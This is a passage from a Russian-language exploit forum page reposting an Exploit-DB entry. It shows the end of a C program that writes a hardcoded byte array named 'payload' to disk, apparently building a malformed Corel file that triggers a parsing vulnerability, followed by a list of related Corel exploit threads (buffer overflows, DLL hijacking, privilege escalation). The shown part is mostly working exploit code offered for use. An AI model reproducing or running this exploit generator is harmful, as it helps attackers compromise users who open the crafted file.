	0x00, 0x2B, 0x30, 0x30, 0x9D, 0x08, 0x33, 0x7C, 0x00, 0x78, 0x00, 0x01, 0x02, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0x03, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
	0x00, 0x00, 0x00, 0xFF, 0x55, 0x1A, 0x8B, 0xFF, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xDD, 0x0A, 0x10, 
	0x00, 0x83, 0x01, 0x04, 0x00, 0x03, 0x00, 0xFC, 0x9C, 0x21, 0x10, 0x00, 0xDD, 0xD4, 0x1C, 0x12, 
	0x00, 0x00, 0x02, 0x00, 0x55, 0x53, 0x55, 0x53, 0x2E, 0x00, 0x2C, 0x00, 0x12, 0x00, 0xD4, 0xDD, 
	0x0B, 0x0B, 0x00, 0x03, 0x00, 0x00, 0x04, 0x0B, 0x00, 0xDD, 0xD4, 0x5F, 0x10, 0x00, 0x00, 0x06, 
	0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0xD4, 0x5A, 0x65, 0x72, 0x6F, 0x80, 0x53, 
	0x63, 0x69, 0x65, 0x6E, 0x63, 0x65, 0x80, 0xD4, 0x5F, 0x10, 0x00, 0x00, 0x06, 0x00, 0x02, 0x00, 
	0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0xD4, 0x4C, 0x61, 0x62, 0xD4, 0x5F, 0x10, 0x00, 0x00, 0x06, 
	0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0xD4 //2810 bytes

};



int main(int argc, char *argv[])
{
	corel = fopen(OCCUPANT, "wb");

	if(corel==NULL)
	{
		perror("\nWoow Camel! Can't open file...\n");
	}

	fwrite(payload,1,sizeof(payload),corel);
	fclose(corel);
	sleep(1);
	
	printf("\nIt is done!\n");

	return 0;
}
 
Источник
www.exploit-db.com
Войдите или зарегистрируйтесь для ответа.

Похожие темы

Exploiter
Exploit Corel WordPerfect X3 13.0.0.565 - '.prs' Local Buffer Overflow
Ответы
0
Просмотры
241
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel Linux OS 1.0 - Dosemu Distribution Configuration
Ответы
0
Просмотры
371
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel Linux OS 1.0 - 'setxconf' Local Privilege Escalation
Ответы
0
Просмотры
384
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel Linux OS 1.0 - buildxconfig
Ответы
0
Просмотры
389
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel Linux OS 1.0 - get_it PATH
Ответы
0
Просмотры
369
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel PHOTO-PAINT X3 13.0.0.576 - 'crlrib.dll' DLL Hijacking
Ответы
0
Просмотры
350
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel Presentations X5 15.0.0.357 - 'shw' Buffer Preoccupation (PoC)
Ответы
0
Просмотры
318
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit borland Web server for corel paradox 1.0 b3 - Directory Traversal
Ответы
0
Просмотры
347
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel VideoStudio Pro X3 - '.mp4' Buffer Overflow
Ответы
0
Просмотры
400
Эксплойты & Уязвимости
Exploiter
Exploiter
Exploiter
Exploit Corel PDF Fusion - Local Stack Buffer Overflow (Metasploit)
Ответы
0
Просмотры
303
Эксплойты & Уязвимости
Exploiter
Exploiter
Сверху Снизу